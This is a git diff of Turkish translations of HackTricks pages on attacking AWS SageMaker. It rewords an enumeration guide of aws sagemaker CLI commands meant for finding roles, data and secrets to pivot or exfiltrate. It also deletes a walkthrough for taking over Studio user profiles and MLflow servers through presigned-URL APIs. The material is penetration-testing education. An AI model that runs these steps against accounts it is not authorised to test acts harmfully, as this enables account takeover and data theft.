ömürlü IAM execution rolleri. +- S3, EFS veya feature store'larda saklanan hassas veri setlerine erişim. +- VPC'ler içinde network footholds (Studio apps, training jobs, endpoints). - Konsol kimlik doğrulamasını atlayan yüksek ayrıcalıklı presigned URLs. -SageMaker'in nasıl kurulduğunu anlamak, pivot, persist veya exfiltrate data yapmadan önce kritik öneme sahiptir. +SageMaker'in nasıl bir araya getirildiğini anlamak, pivot, persist veya exfiltrate etmeden önce anahtardır. -## Core Building Blocks +## Temel Yapı Taşları -- **Studio Domains & Spaces**: Web IDE (JupyterLab, Code Editor, RStudio). Her domain paylaşılan bir EFS dosya sistemi ve varsayılan execution role'a sahiptir. -- **Notebook Instances**: Standalone notebook'lar için yönetilen EC2 instance'ları; ayrı execution role'lar kullanır. -- **Training / Processing / Transform Jobs**: Kodları ECR'den ve verileri S3'ten çeken geçici container'lar. -- **Pipelines & Experiments**: Tüm adımları, girdileri ve çıktıları tanımlayan orkestre edilmiş workflow'lar. -- **Models & Endpoints**: Inference için HTTPS endpoint'leri üzerinden dağıtılan paketlenmiş artefaktlar. +- **Studio Domains & Spaces**: Web IDE (JupyterLab, Code Editor, RStudio). Her domain paylaşılan bir EFS dosya sistemi ve varsayılan execution rolüne sahiptir. +- **Notebook Instances**: Bağımsız notebook'lar için yönetilen EC2 instances; ayrı execution rolleri kullanırlar. +- **Training / Processing / Transform Jobs**: ECR'den kod çeken ve S3'ten veri çeken geçici container'lar. +- **Pipelines & Experiments**: Tüm adımları, girişleri ve çıkışları tanımlayan orkestre edilmiş iş akışları. +- **Models & Endpoints**: HTTPS endpoint'leri aracılığıyla inference için deploy edilmiş paketlenmiş artefaktlar. - **Feature Store & Data Wrangler**: Veri hazırlama ve feature yönetimi için yönetilen servisler. -- **Autopilot & JumpStart**: Otomatikleştirilmiş ML ve küratörlü model kataloğu. -- **MLflow Tracking Servers**: Presigned access token'lı yönetilen MLflow UI/API. +- **Autopilot & JumpStart**: Otomatik ML ve küratörlü model kataloğu. +- **MLflow Tracking Servers**: Presigned erişim token'larıyla yönetilen MLflow UI/API. -Every resource references an execution role, S3 locations, container images, and optional VPC/KMS configuration—capture all of them during enumeration. +Her kaynak execution rolü, S3 konumları, container görüntüleri ve isteğe bağlı VPC/KMS yapılandırmasına referans verir — bunların tamamını enumeration sırasında yakalayın. -## Hesap ve Global Metadata +## Hesap & Global Metadata ```bash REGION=us-east-1 # Portfolio status, used when provisioning Studio resources @@ -39,9 +39,9 @@ aws sagemaker list-models --region $REGION --query 'Models[].ExecutionRoleArn' - # Generic tag sweep across any SageMaker ARN you know aws sagemaker list-tags --resource-arn --region $REGION ``` -Herhangi bir hesaplar arası güven (execution roles veya S3 buckets with external principals) ve service control policies veya SCPs gibi temel kısıtlamaları not edin. +Herhangi bir hesaplar arası güven ilişkisini (execution roles veya S3 buckets with external principals gibi) ve service control policies veya SCPs gibi temel kısıtlamaları not edin. -## Studio Alanları, Uygulamalar & Paylaşılan Alanlar +## Studio Domains, Apps & Shared Spaces ```bash aws sagemaker list-domains --region $REGION aws sagemaker describe-domain --domain-id --region $REGION @@ -64,10 +64,10 @@ Kaydedilecekler: - `DomainArn`, `AppSecurityGroupIds`, `SubnetIds`, `DefaultUserSettings.ExecutionRole`. - Bağlı EFS (`HomeEfsFileSystemId`) ve S3 home dizinleri. -- Lifecycle scripts (çoğunlukla bootstrap kimlik bilgileri veya ekstra kod push/pull içerir). +- Lifecycle scriptleri (çoğunlukla bootstrap kimlik bilgileri veya push/pull ek kod içerir). > [!TIP] -> Presigned Studio URLs geniş yetki verilirse kimlik doğrulamayı atlayabilir. +> Presigned Studio URLs, geniş yetki verilirse kimlik doğrulamasını atlayabilir. ## Notebook Instances & Lifecycle Configs ```bash @@ -76,13 +76,13 @@ aws sagemaker describe-notebook-instance --notebook-instance-name --regio aws sagemaker list-notebook-instance-lifecycle-configs --region $REGION aws sagemaker describe-notebook-instance-lifecycle-config --notebook-instance-lifecycle-config-name --region $REGION ``` -Notebook meta verisi ortaya çıkarır: +Notebook meta verisi şunları ortaya çıkarır: - Çalıştırma rolü (`RoleArn`), doğrudan internet erişimi veya yalnızca VPC modu. -- `DefaultCodeRepository`, `DirectInternetAccess`, `RootAccess` içindeki S3 konumları. -- Kimlik bilgileri veya kalıcılık (persistence) kancaları için yaşam döngüsü (lifecycle) script'leri. +- S3 konumları `DefaultCodeRepository`, `DirectInternetAccess`, `RootAccess` içinde. +- credentials veya persistence hook'ları için lifecycle script'leri. -## Eğitim, İşleme, Dönüştürme ve Batch İşleri +## Eğitim, İşleme, Dönüşüm ve Toplu İşler ```bash aws sagemaker list-training-jobs --region $REGION aws sagemaker describe-training-job --training-job-name --region $REGION @@ -93,9 +93,11 @@ aws sagemaker describe-processing-job --processing-job-name --region $REGI aws sagemaker list-transform-jobs --region $REGION aws sagemaker describe-transform-job --transform-job-name --region $REGION ``` +İnceleyin: + - `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` – hangi ECR imajlarının dağıtıldığını. -- `InputDataConfig` & `OutputDataConfig` – S3 bucket'ları, prefix'ler ve KMS anahtarları. -- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` – ağ veya şifreleme duruşunu belirler. +- `InputDataConfig` & `OutputDataConfig` – S3 bucket'ları, prefix'leri ve KMS anahtarları. +- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` – ağ veya şifreleme duruşunu belirleyin. - `HyperParameters` ortam sırlarını veya bağlantı dizelerini leak edebilir. ## Pipelines, Experiments & Trials @@ -108,9 +110,9 @@ aws sagemaker list-experiments --region $REGION aws sagemaker list-trials --experiment-name --region $REGION aws sagemaker list-trial-components --trial-name --region $REGION ``` -Pipeline tanımları her adımı, ilişkili rolleri, container image'ları ve ortam değişkenlerini detaylandırır. Trial bileşenleri genellikle eğitim artefakt URI'leri, S3 log'ları ve hassas veri akışına işaret eden metrikler içerir. +Pipeline tanımları her adımı, ilişkili rolleri, container image'larını ve ortam değişkenlerini ayrıntılı olarak belirtir. Trial bileşenleri sıklıkla eğitim artefakt URI'leri, S3 log'ları ve hassas veri akışına işaret eden metrikler içerir. -## Modeller, Endpoint Yapılandırmaları ve Yayındaki Endpoint'ler +## Modeller, Endpoint Yapılandırmaları & Konuşlandırılmış Endpoint'ler ```bash aws sagemaker list-models --region $REGION aws sagemaker describe-model --model-name --region $REGION @@ -123,10 +125,10 @@ aws sagemaker describe-endpoint --endpoint-name --region $REGION ``` Odak alanları: -- Model artefakt S3 URI'leri (`PrimaryContainer.ModelDataUrl`) ve çıkarım konteyner görüntüleri. +- Model artefakt S3 URI'leri (`PrimaryContainer.ModelDataUrl`) ve inference container imajları. - Endpoint veri yakalama yapılandırması (S3 bucket, KMS) — olası log exfil için. -- Çoklu model endpoint'leri `S3DataSource` veya `ModelPackage` kullanıyorsa (hesaplar arası paketleme için kontrol edin). -- Endpoint'lere bağlı ağ yapılandırmaları ve security group'lar. +- Çoklu-model endpoint'ler `S3DataSource` veya `ModelPackage` kullanıyorsa (hesaplar arası paketleme için kontrol edin). +- Endpoint'lere bağlı ağ yapılandırmaları ve güvenlik grupları. ## Feature Store, Data Wrangler & Clarify ```bash @@ -141,9 +143,9 @@ aws sagemaker list-model-monitoring-schedule --region $REGION ``` Güvenlik çıkarımları: -- Online feature stores, verileri Kinesis'e çoğaltır; `OnlineStoreConfig.SecurityConfig.KmsKeyId` ve VPC yapılandırmasını kontrol edin. -- Data Wrangler flows genellikle JDBC/Redshift kimlik bilgilerini veya private endpoint'leri gömülü olarak tutar. -- Clarify/Model Monitor job'ları verileri S3'e export eder; bu veriler dünya tarafından okunabilir veya cross-account erişime açık olabilir. +- Online feature store'lar veriyi Kinesis'e çoğaltır; `OnlineStoreConfig.SecurityConfig.KmsKeyId` ve VPC'yi kontrol edin. +- Data Wrangler akışları genellikle JDBC/Redshift kimlik bilgilerini veya özel uç noktaları gömer. +- Clarify/Model Monitor işler S3'e veri aktarır; bu veriler herkese açık okunabilir veya hesaplar arası erişime açık olabilir. ## MLflow Tracking Servers, Autopilot & JumpStart ```bash @@ -156,15 +158,15 @@ aws sagemaker describe-auto-ml-job --auto-ml-job-name --region $REGION aws sagemaker list-jumpstart-models --region $REGION aws sagemaker list-jumpstart-script-resources --region $REGION ``` -- MLflow tracking sunucuları deneyleri ve artefaktları saklar; presigned URLs her şeyi açığa çıkarabilir. -- Autopilot işleri birden fazla training job başlatır — gizli veriler için çıktılarını inceleyin. -- JumpStart reference architectures, hesaba ayrıcalıklı roller deploy edebilir. +- MLflow tracking sunucuları deneyleri ve artefaktları depolar; presigned URLs her şeyi açığa çıkarabilir. +- Autopilot işler birden çok training job başlatır — gizli veri için çıktıları listeleyin. +- JumpStart referans mimarileri hesap içine ayrıcalıklı roller dağıtabilir. -## IAM & Networking Considerations +## IAM & Ağ Hususları -- Tüm execution rollere (Studio, notebooks, training jobs, pipelines, endpoints) bağlı IAM policy'lerini listeleyin. -- Ağ bağlamlarını kontrol edin: subnets, security groups, VPC endpoints. Birçok organizasyon training jobs'ı izole eder ama outbound trafiği kısıtlamayı unutur. -- S3 bucket policy'lerini `ModelDataUrl`, `DataCaptureConfig`, `InputDataConfig` içinde referans verilenler için dış erişim açısından gözden geçirin. +- Tüm execution role'lere (Studio, notebooks, training jobs, pipelines, endpoints) eklenmiş IAM policy'lerini listeleyin. +- Ağ bağlamlarını kontrol edin: subnets, security groups, VPC endpoints. Birçok kuruluş training job'ları izole eder fakat outbound trafiği kısıtlamayı unutur. +- Harici erişim açısından `ModelDataUrl`, `DataCaptureConfig`, `InputDataConfig` içinde referans verilen S3 bucket policy'lerini gözden geçirin. ## Privilege Escalation @@ -190,7 +192,7 @@ aws sagemaker list-jumpstart-script-resources --region $REGION ../aws-sagemaker-unauthenticated-enum/README.md {{#endref}} -## References +## Referanslar - [AWS SageMaker Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/whatis.html) - [AWS CLI SageMaker Reference](https://docs.aws.amazon.com/cli/latest/reference/sagemaker/index.html) diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md index 0232c3250..dafa7a084 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md @@ -2,107 +2,12 @@ {{#include ../../../../banners/hacktricks-training.md}} -## SageMaker Studio - Hesap Ele Geçirme aracılığıyla CreatePresignedDomainUrl (Impersonate Any UserProfile) +## SageMaker için Presigned URLs -### Açıklama -Bir kimlik, hedef Studio `UserProfile` üzerinde `sagemaker:CreatePresignedDomainUrl` çağırma iznine sahipse, o profil olarak doğrudan SageMaker Studio'ya kimlik doğrulayan bir giriş URL'si oluşturabilir. Bu, saldırganın tarayıcısına profilin `ExecutionRole` izinlerini devralan ve profilin EFS tarafından desteklenen home dizinine ve uygulamalarına tam erişim sağlayan bir Studio oturumu verir. `iam:PassRole` veya konsol erişimi gerekmez. +Bir saldırgan SageMaker kaynağı için bir presigned URL elde ederse, ek bir kimlik doğrulaması olmadan ona erişebilir. İzinler ve erişim seviyesi, kaynağa ilişkilendirilmiş role bağlı olacaktır: -### Gereksinimler -- Bir SageMaker Studio `Domain` ve içinde bir hedef `UserProfile`. -- Saldırganın principal'inin hedef `UserProfile` üzerinde `sagemaker:CreatePresignedDomainUrl` iznine (resource‑level) veya `*`'a sahip olması gerekir. - -Minimal policy örneği (tek bir `UserProfile` ile sınırlandırılmış): -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Action": "sagemaker:CreatePresignedDomainUrl", -"Resource": "arn:aws:sagemaker:::user-profile//" -} -] -} -``` -### Kötüye Kullanım Adımları - -1) Hedefleyebileceğiniz bir Studio Domain ve UserProfiles'i Enumerate edin -```bash -DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text) -aws sagemaker list-user-profiles --domain-id-equals $DOM -TARGET_USER= -``` -2) Bir presigned URL oluşturun (varsayılan olarak ~5 dakika geçerli) -```bash -aws sagemaker create-presigned-domain-url \ ---domain-id $DOM \ ---user-profile-name $TARGET_USER \ ---query AuthorizedUrl --output text -``` -3) Döndürülen URL'yi bir tarayıcıda açarak hedef kullanıcı olarak Studio'ya giriş yapın. Studio içindeki bir Jupyter terminalinde etkin kimliği doğrulayın: -```bash -aws sts get-caller-identity -``` -Notlar: -- `--landing-uri` atlanabilir. Bazı değerler (örn., `app:JupyterLab:/lab`) Studio'nun sürüm/türüne bağlı olarak reddedilebilir; varsayılanlar genellikle Studio ana sayfasına ve ardından Jupyter'e yönlendirir. -- Org politikaları/VPC endpoint kısıtlamaları yine de ağ erişimini engelleyebilir; token oluşturma konsola giriş veya `iam:PassRole` gerektirmez. - -### Etki -- ARN'si izin verilen herhangi bir Studio `UserProfile`'unu üstlenerek, onun `ExecutionRole`'ünü ve dosya sistemi/uygulamalarını devralmak suretiyle yatay hareket ve ayrıcalık yükseltme. - -### Deliller (kontrollü bir testten) -- Hedef `UserProfile` üzerinde yalnızca `sagemaker:CreatePresignedDomainUrl` izni olduğunda, saldırgan rolü başarılı şekilde şu örnekteki gibi bir `AuthorizedUrl` döndürdü: -``` -https://studio-d-xxxxxxxxxxxx.studio..sagemaker.aws/auth?token=eyJhbGciOi... -``` -- Doğrudan bir HTTP isteği, URL'nin geçerli olduğunu ve süresi dolana kadar etkin olduğunu doğrulayarak Studio'ya bir yönlendirme (HTTP 302) ile yanıt verir. - - -## SageMaker MLflow Tracking Server - ATO via CreatePresignedMlflowTrackingServerUrl - -### Açıklama -Hedef bir SageMaker MLflow Tracking Server için `sagemaker:CreatePresignedMlflowTrackingServerUrl` çağırma iznine sahip bir kimlik, o sunucu için yönetilen MLflow UI'ye doğrudan kimlik doğrulayan tek kullanımlık bir presigned URL oluşturabilir. Bu, meşru bir kullanıcının sunucuya sahip olduğu aynı erişimi sağlar (deneyleri ve çalıştırmaları görüntüleme/oluşturma ve sunucunun S3 artifact deposundan artifact'leri indirme/yükleme) console erişimi veya `iam:PassRole` olmadan. - -### Gereksinimler -- Hesap/bölge içinde bir SageMaker MLflow Tracking Server ve onun ismi. -- Saldırgan kimliğinin hedef MLflow Tracking Server kaynağı üzerinde `sagemaker:CreatePresignedMlflowTrackingServerUrl` iznine (veya `*`) ihtiyacı vardır. - -Minimal policy örneği (tek bir Tracking Server ile sınırlandırılmış): -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Action": "sagemaker:CreatePresignedMlflowTrackingServerUrl", -"Resource": "arn:aws:sagemaker:::mlflow-tracking-server/" -} -] -} -``` -### Kötüye Kullanım Adımları - -1) Hedefleyebileceğiniz MLflow Tracking Servers'ı enumerate edin ve bir isim seçin -```bash -aws sagemaker list-mlflow-tracking-servers \ ---query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}' -TS_NAME= -``` -2) MLflow UI için önceden imzalanmış bir URL oluşturun (kısa süreli geçerli) -```bash -aws sagemaker create-presigned-mlflow-tracking-server-url \ ---tracking-server-name "$TS_NAME" \ ---expires-in-seconds 300 \ ---session-expiration-duration-in-seconds 1800 \ ---query AuthorizedUrl --output text -``` -3) Döndürülen URL'yi bir tarayıcıda açın; bu, ilgili Tracking Server için MLflow UI'ya kimliği doğrulanmış bir kullanıcı olarak erişmenizi sağlar. - -Notlar: -- Tracking Server hazır bir durumda olmalıdır (ör. `Created/Active`). Hâlâ `Creating` durumundaysa, çağrı reddedilecektir. -- The presigned URL tek kullanımlıktır ve kısa ömürlüdür; gerektiğinde yeni bir tane oluşturun. - -### Impact -- Hedeflenen Tracking Server için yönetilen MLflow UI'ya doğrudan erişim; bu, sunucu yapılandırması tarafından uygulanan izinler dahilinde deneyleri/çalıştırmaları görüntüleme ve değiştirme ile sunucunun yapılandırılmış S3 artifact store'unda saklanan artefaktların indirilmesini veya yüklenmesini sağlar. +{{#ref}} +../../aws-privilege-escalation/aws-sagemaker-privesc/README.md +{{#endref}} {{#include ../../../../banners/hacktricks-training.md}}